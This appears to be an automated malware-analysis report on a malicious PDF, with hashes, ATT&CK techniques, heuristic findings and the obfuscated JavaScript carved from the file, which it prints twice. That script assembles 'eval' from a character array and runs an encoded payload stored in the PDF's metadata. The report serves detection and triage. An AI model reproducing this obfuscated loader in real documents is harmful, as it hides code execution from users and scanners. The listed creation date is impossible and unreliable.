PDF malware analysis — malicious · a71476f8da40d08c

MALICIOUS

PDF

52.0 KB Created: 2011-72-51 03:25:00 First seen: 2026-05-07

MD5: 0f2e0b156fdde990f29f530a97380d38 SHA-1: 18e9355c30ce6f34bbe4ac7dcbd71f92314590d0 SHA-256: a71476f8da40d08cfd601f64f8a7e73924a153e9650aad3f75d0832a1f76bd0d

116 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains obfuscated JavaScript that utilizes String.fromCharCode and a call to a method that appears to be an exploit primitive. The script attempts to construct and execute a payload, likely to download and run a second-stage malicious file. The ML classifier strongly indicates maliciousness, and the heuristics point to a known PDF exploit pattern.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
function oil(f){return f[1][0]}dsa=[1,[/**/this]];lit=oil(dsa);
fg=1;bo=lit.creator;i=['b','a','k','e','u','a','g','v','l'];golo='replace';e=i[3]+i[7]+i[1]+i[8];a=(lit)[lit.info.gemna];j=(lit)[e];ax=(bo)[golo](/(67549013245)/g,a(String.fromCharCode(36+fg)));j(a(ax));
)
```
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0001_000.js`	pdf-javascript-stream	PDF /JS object 1 at offset 0x9	269 bytes
SHA-256: `7b2d970376f084dd0ecaab2df8075b54de5eaf171d6846e1be581bfc5044d3ae`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script function oil(f){return f[1][0]}dsa=[1,[/**/this]];lit=oil(dsa); fg=1;bo=lit.creator;i=['b','a','k','e','u','a','g','v','l'];golo='replace';e=i[3]+i[7]+i[1]+i[8];a=(lit)[lit.info.gemna];j=(lit)[e];ax=(bo)[golo](/(67549013245)/g,a(String.fromCharCode(36+fg)));j(a(ax));

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